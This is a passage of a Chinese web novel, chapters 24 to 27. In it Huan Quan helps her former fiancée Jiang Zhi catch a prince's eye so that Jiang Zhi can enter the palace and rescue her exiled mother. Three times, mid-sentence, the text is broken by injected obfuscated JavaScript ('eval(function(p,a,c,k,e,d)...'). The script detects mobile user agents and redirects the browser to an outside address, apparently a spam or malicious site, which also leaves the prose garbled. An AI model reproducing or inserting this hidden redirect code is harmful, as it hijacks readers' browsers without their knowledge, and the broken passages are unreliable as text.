桓权顺势应下,欢喜不已。 廷尉府书吏虽无甚品阶,却为九卿属吏,旁人也不敢相欺,更兼廷尉府执掌刑狱,最适合耿介忠直之人。 桓权思虑详熟,桓玑也不由在心底称赞,他素知,桓权有识人之能,又不被出身拘束,尚书台原是最适合他的。 只可惜,桓权并不甘心只做尚书郎,他的野心太大,小小一个尚书台容不下他的野心。 某日午后,桓权正在院中晒着秋日暖阳,谢弼弹奏着琴音,声声敦厚舒缓,宛如万里长空中漂浮着一层薄云。 桓权不善鼓琴,却自幼喜乐音,谢弼却是极擅长鼓琴,常于山林野溪之侧弹奏,与风声相合,与溪水为伴。 桓权敲着拍子,轻声和着琴音,神情怡然。 蕲茝坐在月洞处做针线,突然传来哒哒的脚步声,蕲茝抬起头,白离出现在自己面前,正要闯进院子,蕲茝忙将人拉住,悄悄看了一眼,见院子里的人并未注意,才将人拽到僻静处,道: “你怎么回来了?你不是陪着江女郎吗?” 白离叹气道: “正是女郎让我来请公子的。” “可是出了什么事?你过府来的事毛舒可知?江女郎的事一直都是她在负责。” “舒姊姊最近也不知在忙什么,总是见不着人影,女郎那边又催得紧,我只得过来寻公子了。” “你不知道,最近侯府出了些事情。” “什么事?” 蕲茝便将崔伦的事情都讲给白离,白离听完目瞪口呆,啧啧咂舌,道: “这位崔郎君莫不是这里有问题吧?”说着指了指自己的脑袋。 “不过要我说,这群人也该吃些苦头,平日没少收礼,偏还不知足,去为难一介书生。” 蕲茝感叹道,作为局外人,她当日见到崔伦的惨状,也觉得心惊,但若真要那几人去死,他又不忍心。 “你不知道,人心不足,刘氏兄弟平日没少仗势欺人,耀武扬威,真以为那些人拍他们马屁是因为他们,不过因为他们是桓府的府吏罢了。 你瞧,如今在牢中,谁会多看他们一眼。” 两人八卦着崔伦的事情,说起刘氏兄弟平日的所作所为,颇为义愤填膺,但很多是对于崔伦其人的好奇。 “蕲茝姊姊,你说公子怎么就同意崔郎君的请求了?公子素来不是多事的人,这样不是家丑外扬吗? 而且还让舒姊姊从旁协力,舒姊姊可是公子亲近之人,公子未免也太重视崔郎君了。” “你不知道,公子说这叫‘气节’,是世家公子都没有的东西。” “气节?这不就是纯傻吗?” 白离嗤笑着,蕲茝摇摇头,她也不明白桓权言语中的含义,但她相信桓权的眼光。 “你来找公子到底所为何事?莫不是江女郎又出事了?” 24. 第二十四章 欲要救母 “院外何事吵闹?” 不知何时,桓权已经站在月洞下,阳光落在藤蔓黄叶上,斑斑点点,一袭褚黄的长衫,腰间系着一条同色系的丝绦,天然流露着世家风韵,琴音未息,谢弼沉浸于音乐中,不理外物,指尖翻飞,抹挑勾剔,清脆高远,浮云流空。 “公子。” 白离和蕲茝回头瞧见桓权正一脸肃然瞧着自己,纷纷请安行礼,心中却叫苦不迭,也不知公子是什么时候来的,听到两人的议论没有。 桓权并未与两人计较,目光逡巡在两人身上打量着,最终落在白离身上,道: “你不在江女郎身边侍候着,来我这里作甚?” 白离上前拱手,道: “启禀公子,是江女郎让我来请公子过去的。” “可有说是为什么事?” 白离摇摇头,她被公子吩咐照顾江女郎,护卫江女郎安危,但江女郎性子沉静,并不是一个热闹的人,特别是经历王六一事后,江女郎就越发喜好静坐沉思。 便是从宣城郡带来的丫鬟墨书,如今都疏远,更不用说她们这些桓府的人,唯有舒姊姊能够与江女郎说上两句。 当日也是舒姊姊送来王六处决消息的,当时瞧着,江女郎确实高兴,但看起来更像是解脱了一般。 江女郎出身世家,纵使今日家族败落,却也不是她们这些奴婢能够比拟的,白离很清楚两人之间的身份之别,自然也不会自找没趣去交心。 她的任务很简单,就是保护江女郎,至于其他的,白离并不关心。 桓权沉思片刻,当日留下白离,一是因为她颇有些武艺,寻常人近不得身;二则是白离心思简单,没有太多的利弊权衡,喜怒随心,陪在江芷身边也少是非。 她本就对白离没太多要求,自然也没抱期望,转而又道: “毛舒知道此事没有?” “我找过舒姊姊,但没找到,江女郎那边催得紧,奴只得来找公子。” “我知道了。” 桓权长叹一声,想起毛舒近来在协助崔伦查案,按照刘氏兄弟的口供,这些年他们兄弟几个不仅是索要贿赂,私下欺凌贫寒子弟那么简单,手里还有着几条人命。 事情闹到官府去,免不了又是一场风波,桓府的府吏杀人,桓府的郎主自然是无法免责的,桓权便让毛舒去协助查案,一时就顾不上江芷了。 桓权将两人留在原处,看了一眼谢弼,她原是想趁着难得的休沐,与谢弼好生玩乐一番。 但江芷那边她又实在放心不下,只得对蕲茝叮嘱了一番,便直接撩袍走了。 见到江芷时,她正坐在院中的自雨亭处,弹着箜篌,音色清越。 墨书正要进亭中通禀,桓权伸手止住了,只立在亭外,静听箜篌。 一曲罢,桓权拍手鼓掌,道: “女郎好技艺。” 江芷闻声转头,福身问安,桓权拱手还礼,笑道: “女郎刚刚弹的是蔡文姬的《胡笳十八拍》?此曲甚是凄婉,女郎不该作此悲音。” “文姬身处胡虏之地,尚念故土之恩。我身为女儿,却只能见亲长受苦,想到此处,常觉不安。” 桓权沉吟着,她听出江芷话语中的含义,却不知道江芷的目的,一时犹豫,不知该如何接话,还是硬着头皮道: “女郎记挂亲长,乃是至孝之人。” “前些日子,毛女郎告诉我,王六的事已经了结,江芷在此拜谢公子。” 说着江芷就要行大礼,桓权忙将人一把拽住,道: “区区小事,何足挂齿。更何况你我是兄妹,我岂能见女郎受委屈。” 江芷看了一眼桓权拽自己胳膊的手,指节分明,强劲有力,透过锦衣,隐隐能感受着从对方掌心传来的阵阵暖意。 心中涌出许多酸意,但她知道自己不能心生眷恋,桓权待自己虽好,但两人之间隔着深仇大恨,那一条条人命摆在他们面前。 在桓权将她护在身后的那一刻,在桓权遣毛舒每半月送来母亲书信时,她不是没想过此生托付给此人。 桓权待她的好并非作伪,她能感受到两人之间流动着的脉脉情谊,桓权看她是眼神带着明显的躲避,她对于桓权而言是特殊的。 尽管毛舒曾多次劝诫,让她不要对桓权动情,但从毛舒那里,她还是得知,自己对于桓权是独一无二的。 她曾刺杀过桓权,可桓权放过她,甚至颇为照顾她。 “兄长。” 江芷仰起头看向桓权,眼中含泪,桓权能感受到江芷强压着的悲意,但不知她悲从何起。 只是那一句“兄长”,让桓权有些微微愣神,直觉告诉她,接下来江芷的话并不动听,但她还是想知道江芷的想法。 “女郎请说。” “妹请求兄长让我离开。” “离开?你打算去哪儿?江芷,兵荒马乱的,你又能去哪里?” 桓权微怔,第一次当着江芷的面唤她名字,她甚至有些气恼,王六的事发生后,她以为江芷也能明白世道的艰难,不想她竟然又起了离开的心思。 “我想去陪母亲。兄长,我知道你有办法,你一定可以送我去见母亲的,对不对?” “你就算去了又如何?不过是多了一个服役之人,那时天高皇帝远,我怕是护不住你,你姿容又胜,不行。 你若真闲着,总爱胡思乱想,我这里有一处女学,你来与我帮忙,我聘你为女师傅,也算是做些有意义的事。” “兄长,你说的这些毛女郎都对我讲过,我很感谢你。 只是我不能答应你,我知道兄长是为我好,只是我不能抛弃亲人长辈,自己在这里享福。 要么能够救她们回乡,要么陪她们一起受苦。” 桓权沉默着,她不知道何时江芷变了主意,但她似乎没有理由去阻拦一个女儿尽孝的决心。 桓权从袖口掏出一纸帛书,侧身递给江芷,江芷流泪的目光在看完书信后,看向桓权,道: “兄长!这……” “昨日我收到南越的书信,说是你母亲姊妹等亲族都已经平安到达,南越虽是荒凉些,但我已托人好生照顾,你也不用太过担心。” 江芷抱着书信拼命点头,泪如雨下。 “你的心思我都明白,只是救人并非一朝一夕的事,当初你父亲谋逆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653600|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之事为真,如今能保全家人女眷已是不易,切莫再生出不该有的心思来。 待过上几年,等此事众人渐渐忘却时,我再用些手段,必能叫你们母女团聚。” 江芷含泪,却不作声,这样的话她已经听毛舒说过无数次,以前她也会这样宽慰自己,可后来在无人相伴的日子里,她渐渐想明白了。 桓权只是出于曾经的婚约,才一直照顾她的,两人之间或许有情,但这份情意不足以让桓权原谅她的家人,并不足以消弭两人间的仇恨。 或许桓权真的会帮她接回家人,但那又是什么时候了? 母亲的年纪已经大了,南越瘴气弥漫,气候湿热,听过往的商人说,那地方很容易染上风热痢疾,不少人都因为水土不服丧命了。 江芷不能再等了,她害怕母亲会在南越染疾,她不能让母亲客死异乡,为此她可以付出一切。 她知道桓权一定有办法,但她也知道桓权并不愿出手相帮,她只能逼,桓权或许无情,却有义,他不会放任自己离开的。 “可是,士衡公子,我不想再等了。” 江芷含泪认真地看着桓权,尽管只是简简单单一句话,却含着不容退缩的决心和意志。 江芷突然这样称呼她,桓权蒙了,她敏感意识到,江芷的目的或许并不是离开,而是救母,眼神一下就冷了下来。 “你当真这样想?” “是。请士衡公子帮我。” 江芷朝着桓权盈盈一拜,这次桓权没有拦她,只是居高临下,冷冷地看着,道: “你明知道你父亲谋逆作乱,论罪当夷三族。” 江芷却挺直身子,犹如秋风中傲立的菊花,不畏寒霜,也不躲避桓权审视的目光。 “士衡公子,我父亲到底是因为谋逆被杀,还是因为谋逆失败被杀,您应该很清楚吧? 若说谋逆,当年首恶的江氏一族,如今尚有爵位在身,官职仍在,我父亲不过是没那么大的靠山罢了。 要我江氏一族性命的到底是朝廷,还是你桓氏?士衡公子,你应该比谁都清楚。” 长久的沉默在两人之间弥漫,江芷的话直白却也丑陋,但这就是真相。 没有太多的道义公理,不过是成王败寇罢了。 “江芷,你是个聪慧的姑娘,可有些事一旦摆在明面上,结果就不一样了。” 江氏一族在苏钧之乱中虽非首恶,但谋逆一案被摆在三司会审的局面,就注定无法善了。 其中牵扯的不仅是世家间的博弈,更有朝廷天子的颜面,若不严惩,谁的面上都不会好看。 “所以士衡公子是不愿帮忙?” “不是不愿,是不能。朝令夕改,朝廷法令立于何处?” “士衡公子不能,这天下自有能的人,江芷请公子将我引荐入宫。” 一石激起千层浪。 桓权愣在原地,一贯镇定的她也不由犯嘀咕,摸不清江芷的想法,紧皱着眉头,道: “你要进宫?作甚?” “宫里自然有能帮我的人,芷不求公子能帮我救母,只要能为我指一条路,我自己去闯。” “胡闹!” 25. 第二十五章 何为自保 “公子当真以为自己护得住我吗?桓士衡,你太过自负了!” 江芷冷笑着,她或许看不透朝堂的那些诡谲的算计,但她清楚眼前之人是怎样的。 桓权眼神冷寂,面上的神情依旧,甚至还带着一丝若有若无的笑意,用着几分戏谑的口吻,道: “继续说下去。” “我这半生都是在欺骗谎言中度过的,曾经我以为我拥有着世间全部的美好,可后来我发现,我错了!在家从父,结果父亲谋逆,我却浑然不知;出嫁从夫,结果未婚夫屠我满门,我却做了害死家人的棋子。以前都是别人替我做选择,当日父亲为联盟,将我许嫁你,我同意了,后来我家破人亡,你说要为我报仇,我相信了。 如今我什么都没有了,你说你可以护着我,可我问你,桓权,你拿什么护我?你不爱我,更不会娶我。既然我早晚都得嫁人,那我便要嫁这天下权势最高的人。桓权,你可以护我一时,却护不了我一辈子,漫漫长路,终究得我自己走下去,现在,我只想能够救回母亲。” 江芷的话落在桓权耳中,她并没有太多惊讶,只是淡淡一笑: “入宫这条路很难,皇恩圣宠更是难以捉摸,历来不知有多少红颜老死宫中,你这又是何苦?” “桓权,你不必劝我,我心意已定,是生是死,总得闯一闯,我早已没什么可失去的了。” 桓权沉默良久,她见过禁宫中的白头宫女,更知道许多宫闱秘事,刀枪剑戟,宫里杀人是不见血的。 拒绝的话正要说出口,却对上江芷坚毅的目光,明知山有虎偏向虎山行,桓权心底生出几分豪气来,到嘴的话又咽了回去。长叹一声,到底不愿弗了江芷的意,答应下来。 “既如此,如你所愿,我来安排便是。” “江芷拜谢士衡公子。” 江芷朝桓权行大礼,桓权却只觉心底些许茫然,只摆手转身,忧心忡忡离开别院。 “士衡的书法如今是越发好了,月前送来的那份手抄《南华经》,本王很是喜欢。” “殿下过奖了,微臣愧不敢当。” “士衡,你我多年情分,何必说这些客套话?你的才情我可是知道的,想当年父皇初登大宝,为我选伴读,便选定士衡,只是当年苏钧反对,才未召见。 后来你‘江左双鸾’的声名我也听过一些,你的诗文我也曾看过,确实是名副其实。” “殿下过誉了,请。” 桓权设宴邀请肃王司马瑄论诗赏菊,地点便定在京郊的别院中,此处位于山腰,有廊桥秋水,白鹤高飞,素来来此处赏景之人不计其数。 流觞曲水,酒盏顺着秋日清亮溪水浮动,落在谁面前就要作诗奏曲。 桓权又邀请了当朝入仕的青年一同入席,这些青年大多出生世家,因着家族荫蔽,做了旁人艳羡不已的“清官”。 这些青年于做官上没什么能力,吃喝玩乐上却有着无穷的点子,嘻嘻哈哈闹作了一团,桓权请肃王司马瑄做这个判官。 酒盏恰巧落在邓玠面前,邓玠不善诗文,起身对肃王拱手一礼,随即一饮而尽,道: “末将是个武人,不通诗赋,就不在殿下面前献丑了。” 众人都哈哈大笑起来,这些人真正通诗赋的人很少,却都爱追随这种风雅,只是平日大家都不会真的计较,就算不是诗赋,就是说个笑话也是无妨的。 但今日在肃王面前,众人都要拘谨许多,不敢像平日那般肆意玩闹,如今见别人倒霉,却又起哄,纷纷道: “不行,必须再饮!” 肃王也趁着热闹的气氛,笑道: “诶!不行!邓将军你虽不擅长诗文,不如我们换个玩法,邓将军既为武将,想必箭术十分了得,不如射箭如何?” “好!” 众人都附和着,桓权心头有些许不安,却还是使眼色,让人取弓箭来,邓玠正要拉弓射箭,肃王又道: “寻常飞禽走兽太过无趣,邓将军是经历过沙场征伐的,不如我们今天射人,如何?” 邓玠闻言,脸色难看,却还保持着基本的君臣之礼,道: “殿下,想要如何射?” 肃王那双眼睛四处寻觅,最终看到桓权身后侍立的毛舒,也不待桓权阻拦,就道: “就她!美人如花,不如就让这位美姬头顶一枚果子,站在百步外,由邓将军射箭,若是中了,我们在座之人皆陪饮一杯,若是不中,邓将军需再饮三大白,如何?” “不行!” “不行!” 肃王这个提议一出,桓权和邓玠几乎是异口同声地拒绝,肃王的脸色当即就阴沉下去,桓权与邓玠对视一眼,最终邓玠先道: “殿下,末将愿再饮三大白,但请殿下收回成命。” “殿下,人命关天,微臣请殿下三思。” 肃王白了桓权和邓玠两眼,颇为阴阳,似笑非笑道: “怎么?看来本王的命令是没人听了。” 肃王虽非储君,也是皇帝长子,他日纵不能继承大统,也可为一方诸侯,更何况天下瞬息万变,谁知日后肃王就无登基的可能性呢? 得罪肃王并无好处,邓玠已经有些犹豫了,虽说他背靠大将军,并不畏惧肃王,但若为一个奴婢得罪未来天子,未免太不值。 顾及好友颜面,邓玠不再开口,邓玠一直知道毛舒乃是桓权宠姬,他虽自信自己箭术超群,却也知道若是出了意外,桓权必定会恼他。 “殿下,昔桀因贪杀而亡国、秦因刑酷而族灭。《尚书》有云:‘天亦哀于四方民’,上天也怜悯天下的百姓,因此夏亡而商兴,商亡而周兴。 殿下为陛下所看重,岂不知''王勿以殄戮用乂民'',您不能用滥杀来治理百姓,侍女身份虽卑,却也是天子的子民,殿下又怎能置父亲的子民于危险中了?” 桓权的话引经据典,入情入理,原本在一旁看戏贵族青年都沉默了,他们大多出身显贵,却少有能像桓权这般出口成章,用典随性的。 《尚书》是传世的经典,讲述的尧舜周公这些圣君贤王治国理政的道理。 皇室崇尚儒学,桓权用解释经典的方式来劝谏,国家用经典来治理国家,肃王的学识不及桓权,一时竟想不出反驳的话来。 他更为讨厌的是,桓权说话时老气横秋的模样,跟教他读书的老夫子一般,古板,爱讲大道理,实在是没什么意思。 饶是肃王再任性,这个时候也不能不慎重考虑,若他继续坚持,难免有胡搅蛮缠之嫌,更何况,肃王并不想与桓权为敌。 世家虐杀奴仆,虽有些残忍,却并不算稀奇,说到底,在世家眼中,奴仆不过是财物,与猫狗无异,杀了也便杀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653601|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,旁人也说不了什么。 肃王这要求,若是旁人,也就答应了。 只是今日这人是桓权,肃王被下了面子,很不开心,他本就是天潢贵胄,身边人都阿谀奉承他,自然更觉高人一等。 桓权的话他虽无法反驳,却也不甘心就此放弃,这时桓权道: “臣虽不才,颇通剑法,不如臣为殿下剑舞助兴。” 肃王虽心下不满,但桓权的提议也不失为一个台阶,肃王也就借坡下驴,道: “既如此,请桓卿以剑舞。” 桓权令人取剑,朝肃王行礼后,作势起舞,翩若惊鸿,婉若游龙,剑势时如展翅飞鹰,时如入水蛟龙,时而狠厉,时而柔媚。 本是为了缓和气氛而起舞,不想桓权剑舞实在精彩,众人不由被吸引,柔中带刚,刚柔兼济,肃王的目光紧紧落在桓权身上。 “好!” 一舞毕,肃王由衷鼓掌,一扫刚刚被拒绝的阴霾,朗声笑道: “本王竟不知桓卿还有这样的本事,看来今日不算白来。” 桓权拱手道: “雕虫小技,不敢夸赞。殿下仁慈,爱重百姓,方是我等之幸,社稷之福。” 明明是自己救下的,偏偏说成是肃王的功劳,这马屁拍得真是够了。 邓玠在心中暗暗吐槽,却还是跟着众人,一起举杯,齐声道: “是我等之幸,社稷之福。” 以前他不知桓权为何能得大将军喜欢的,如今算是知道了,面不改色拍马屁,还能如此振振有词,也算是一种本事。 饮过一回酒,桓权借口更衣醒酒,将肃王请到小榭处,肃王喝了几口醒酒汤,见四处枫叶正红,实在是难得的好景,而桓权更衣未归,便独自一人饶有兴致,入枫林赏景。 正被眼前无限秋景所吸引,忽然隐隐听到有一阵音乐声,声音清越空灵,循着音乐声去,不知走了多久。 肃王眼前出现一个着绿衣的女郎,正怀抱琵琶,低头拨动着琴弦,嘴里轻声哼唱着曲子。 “低头弄莲子,莲子青如水……” 看着眼前纤细的女子,琵琶声如同春水缓缓注入心间,漫天枫叶,唯有眼前之人一抹青绿,霎时间夺取了所有的颜色,肃王不由被吸引靠近,却又不忍破坏和谐的氛围。 就这样站在女子身后一丈的地方听完一首曲子。 “啪!”“啪!” 肃王忍不住为眼前之人鼓掌,那绿衣女子闻声一惊,抱着琵琶起身,转身的那一刻,道了个万福。 肃王从未见过如此娉婷袅娜的女郎,肃王目光呆滞,尽管女郎戴着帷帽,但他心底已经认定,这必然是难得的佳人。 “女郎是……?” 肃王难得紧张一回,生怕唐突了佳人,忙拱手道: “在下司马瑄,见过女郎。” “奴家江芷,拜见公子。” 司马瑄没想到女郎不仅身量婀娜,声音也如此动听,如同黄莺啼鸣,心尖如同被羽毛拂过,正要上前亲近,女郎却后退半步,司马瑄见状立刻停住脚步,道: “敢问女郎是哪家的女公子?琵琶技艺如此了得,可谓夺鬼神之功。” “公子谬赞了,奴家不敢当。” 肃王听这说话的语气,不知怎么想起桓权谦卑模样,不由暗骂了一声“晦气”。 26. 第二十六章 献美姬 “女郎可愿为我再奏一曲?在下愿奉上百金。” 绿衣女郎轻轻摇头,声音空灵软糯,恰似黄莺啼鸣,道: “我不是乐伎,我的琵琶只为知音而奏。” 说着就转身抱着琵琶跑开了,司马瑄正要追上去,就听到桓权唤他的声音,司马低声又骂了一句“晦气”。 “殿下怎么到这里来了?倒让我好寻。” 司马瑄整理衣袍,煞有介事道: “你这片枫林挺不错的。” “殿下若是喜欢,微臣愿奉送给殿下,别墅只是小事,只是这里却居住着一位女郎,恐有些不便。” “什么女郎?” 司马瑄眼睛立刻就亮了,紧接着追问。 “殿下不知,此女郎有洛神之貌,文姬之才,班婕妤之德,师旷之技,实乃是当世奇女子,只是因家族变故,不得不寄居于此。” 听了桓权的话,司马瑄越发对那绿衣女子感兴趣,旁敲侧击询问着女子的身世,奈何桓权却始终顾左右而言他。 着实令司马瑄气恼,偏偏碍于面子,又害怕桓权引经据典劝谏,实在烦人,偏偏桓权似乎是完全不曾察觉一般,还在介绍着枫林的过去由来、历史典故。 “桓卿,本王略有些乏了,不如……” 正要说“回去”二字时,司马瑄顺着桓权所指的地方望去,又见着那位绿衣女郎,不由心神一震,将剩余的话都吞了回去。 “殿下刚刚说什么?” 司马瑄摇摇头,目光紧紧盯着绿衣女郎,那女郎正低头调弦,信手随意拨弄琴弦,此刻的她已经摘下帷帽,远远只能瞧见侧脸。 “‘南国有佳人,容华若桃李’曹子建诚不欺我。” “殿下?殿下?” 桓权接连唤了几声,司马瑄才恋恋不舍回过神来,桓权却仿佛浑然不觉,问道: “殿下在瞧什么?” “桓卿,告诉我那位女郎是府上哪位女公子?” 桓权脸色一白,声音冷淡,道: “殿下,此女曾是微臣未婚妻。” “什么?” 司马瑄愣在原地,如同五雷轰顶,他难得一见倾心,却早已许婚,不由心中伤怀。 正在这时,那位女郎偏过头朝他们这边望了一眼,远远朝两人微微点头,司马瑄顿时神魂颠倒,筋骨都酥软下来。 暗中叹道: 只可惜如此一位绝代佳人,偏生许了桓权这个没趣的,只叹你我有缘无分,我却是个没福的。 “殿下?” 桓权瞧司马瑄那副落寞神情,眼睛直勾勾看着江芷,心中就已经明白了大半,接连唤了失神的司马瑄好几声,司马瑄才回过神来,喃喃道: “佳人何兮?独我无缘。” “殿下喜欢此女?” 司马瑄闻言,尽管明知觊觎他人未婚妻是不义之举,却还是抱有期望,颔首道: “我十数年来,未见如此佳人,今一见倾心,桓卿若能割爱,本王必许桓卿高官厚禄。” 桓权笑道: “殿下不该想应许微臣什么,而是应该想可以女郎什么,微臣虽与江女郎曾有婚约,如今却是兄妹。 身为兄长,正为小妹婚姻一事而忧心忡忡,殿下若能为臣下解忧,微臣感激不尽。” 司马瑄灰白的脸色立刻恢复了往日神采,目光灼灼,盯着桓权,道: “桓卿所说,可真?” “自然。只是不知殿下真心几何?” 真心?若是旁人跟他谈这东西,他必然是要笑掉大牙,但如今司马瑄此刻色欲熏心,满心都是要得到江芷,自然无论什么话都说的出来。 “本王可许她十里红妆,一世衣食无忧,富贵荣华。” 桓权摇摇头,道: “此是身外之物,非真心也。” “本王可许她恩宠不绝,子以母贵。” “此为器物之爱,亦非真心也。” “这……” 司马瑄一时噎住了,他接连许下的承诺都是世间女子所渴求的,可桓权一一都给否了,他一时真不知“真心”到底是什么东西。 “看来殿下尚无真心,微臣倒有一个主意,只是殿下是否……” “你说。” 还不待桓权说完,司马瑄便抢白,桓权在心底暗骂了一声“色中饿鬼”,面上却还是笑意盈盈,道: “殿下不妨每三日来听一回琵琶曲,若何时能得这琵琶曲中意,殿下的真心也便知道了。” “好!” 司马瑄想都没想就答应下来,目光落在不远处弹琵琶的江芷身上。 这个女人,他是一定要的。 瞧着肃王的车驾辘辘激起的烟尘,桓权挺身直立,敛衣背手,若有所思。 其余宾客各自告辞,一时间山中别墅清静下来,南飞的候鸟在残阳中掠过,风吹动野田的麦子,摇曳如同海浪。 “士衡,你当真舍得?” 邓玠提着酒壶自门后闪出,衣襟上都沾湿了酒渍,目光清凉,毫无醉意。 “舍得如何?不舍又如何?” “进献美人,可不像你桓权会做的事,更何况美人还是你桓权的未婚妻。” “曾经的。” 桓权更正道,这场宴会的目的就是为将江芷引荐给肃王。 江芷既然决心要入宫,她能做的只能成全。 江芷虽是绝色佳人,然后宫之中,最不缺的就是佳人,桓权需得给肃王留下刻骨铭心的印象,才能尽量保证江芷日后的荣宠。 “好,兄妹!兄妹总成了,那也不是你桓士衡会干的事!你不是一向自诩清傲,如今也做出这等媚上的事来? 江女郎的身份,若是入宫,桓权,于你名声可不好。” 桓权一时缄默,她何尝不知。 进献之人,若真是她桓权的姊妹,倒也罢了,偏偏是与她桓权有过婚约的女人,天下人必定会嗤笑她桓权的。 “士衡,你对那江女郎,到底是怎么想的?若说无情,当初你又何必费心报下她,又为她欠下琅琊王氏人情;若说有情,今日你又将其进献给肃王,你我皆知储君之位花落谁家。 不过,你江桓两族是血海深仇,如此作为倒也情有可原,只是肃王为皇储,日后未必没有继承大统的可能性,届时若江女郎不受宠倒也罢了,若是受宠,你桓氏一族危矣!” 邓玠继续道,却是字字珠玑,直击桓权肺腑,垂下眼帘,桓权悠悠一叹,道: “若她真有这本事,我倒是为她开心。” “这样的机缘巧合,想来也不会有,是我杞人忧天了。” “未来之事,皆有可能。” 桓权悠悠道,邓玠不知为何心底升起一股恶寒,恰巧一阵晚风卷起残枝上的黄叶,卷起地上的扬尘,邓玠头有所思看了桓权一眼,见桓权只瞧着蜿蜒的驰道发呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653602|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,摇头叹息一声,喝着酒,不愿去理这个怪人,转身走了。 桓权看着邓玠的背影露出悄然露出一丝笑意,刚刚的落寞悄然而逝,只有阴沉不定的目光闪烁着。 毛舒白日受惊,在生死线上徘徊一圈,早已心胆俱裂,很早就被人搀着回房间歇息了。 桓权挥手让人退下,屋子里只有桓权和毛舒两人,桓权端起仆役送来的肉糜,搅动着,瞧着榻上的女郎,道: “别装睡了,能从胡骑手中逃出来的人,怎么可能会害怕这个了?” 毛舒睁开眼睛,翻身坐下,盘着腿,伸手朝向桓权,桓权将肉糜递给毛舒,桓权低眉一笑,道: “今日,命不由己的感受如何?” 毛舒不答,三下五除二就喝完肉糜,起身将空碗重重放在桌案上,正色肃穆对桓权道: “我曾经不知多少次经历过被人玩弄的日子,早就已经麻木,奴隶、舞姬,在这些贵族眼里连人都不是,和猫狗没什么两样。 桓权,你以为我应该有怎样的感受?恐惧、屈辱、仇恨,的确,这些情绪我都有,可我不觉得有什么。 人总不能和畜生计较,对于伤害人的畜生,是不会去讲道理的,只会想着杀了它。” “你想反?” “难道你不想吗?” 毛舒回头,目光直盯着桓权,如同一团火焰,灼烧着所有的不公,目光穿透这身虚伪华丽的衣袍,直达内心深处。 桓权一怔,随即低眉,避开毛舒的目光,并未正面回答毛舒的话,只是道: “毛舒,你累了。” “桓权,你心虚了。别看你表面奴颜婢膝,实则是个极度高傲自负的人,你真的看得上司马瑄吗? 于你而言,那不过就是个手中的玩意儿,朝廷之上那些高门显赫、皇室宗亲你真的在乎吗? 你瞧不上他们,但你又不得不演上一出心悦诚服的戏,你想要登上至高之位,取代他,可你暂时又没有这个实力。于是,你只能极度压抑自己,扮演着忠臣良将。 桓权,你不累吗?” 毛舒低笑一声,没有如同往日一般听话,反而一步步刺激着桓权,她饶有趣味地观察着桓权的反应,她讨厌桓权永远是这副胸有成竹的模样。 毛舒迫不及待想撕开桓权伪装,她想看到桓权崩溃的模样,看到她狼狈不堪的模样。 桓权的眉头紧蹙,手中青筋暴起,眼神不着痕迹露出几分杀气,却还是露出笑意,且愈发灿烂,反而正面迎上毛舒的目光,道: “毛舒,你知道阁楼上的疯女人吗?疯子的话,谁会信?” 最温柔的语气,却说着最无情的话。 毛舒听出桓权的威胁,心中一紧。 桓权是什么样的人,她是清楚的,刀剑杀人尚见血,可桓权杀人却是诛心。 “今日的事,舒女郎受惊了,还是早些歇息的好。” 桓权笑着伸出手来拉毛舒,毛舒却只觉得那笑毛骨悚然,本能后退,却被桓权一把拉着,扔在床上,为她盖上被子。 一切如常,却又透着诡异。 毛舒只怔怔瞧着桓权,桓权却在她耳边道: “只有想反的心可是远远不够的。 安心,睡吧。” 毛舒看着桓权离去的背影,心中忐忑不安,她不知道桓权想做什么,但她知道这个女人,并不简单。 她想要的东西,是一定要得到的。 27. 第二十七章 我不能再护你了 “士衡,你可真算是害苦为兄了。” 桓玑将温热的酒水从酒瓮中舀出,倒入双耳漆盏,将其中一盏放在桓权面前,看似是在责备,语气却极为温柔。 “此话何意?恕弟愚钝,不解其意。” “那几个府吏的事闹到京兆府去,士衡就没有什么想对为兄说的?” 桓权低笑一声,拿起桌案上的漆盏一口饮尽,毫不在意,反问道: “兄长是在责备权吗?” “家丑不可外扬,士衡,此事做得有些过分了。” 桓玑并不在意几个府吏的生死,只是叫人看宜都侯府的笑话,他身为宜都侯,面上难免不好看。此事若闹到天子面前,难免被斥责他桓玑治家不严,又生一场是非。 桓权当然明白桓玑在担心什么,不过他完全不在意,反而戏谑道: “兄长害怕了?” “为兄害怕什么?几个府吏而已,还不至于威胁到我。” 桓玑是能够在苏钧之乱中全身而退的人,十数年来承受的流言蜚语不知多少,他不仅能够保全自身,甚至在叔父死后,成为桓氏新一代的掌权人,保着整个家族的富贵荣华,自然不是个简单人物。 他既然将府吏交到桓权手中,自然是做好了最坏的打算,即使如今的情形尚在他掌握中,他仍不忘敲打桓权。 “兄长以为崔伦其人,如何?” “刚直贞烈,有几分傻气。” 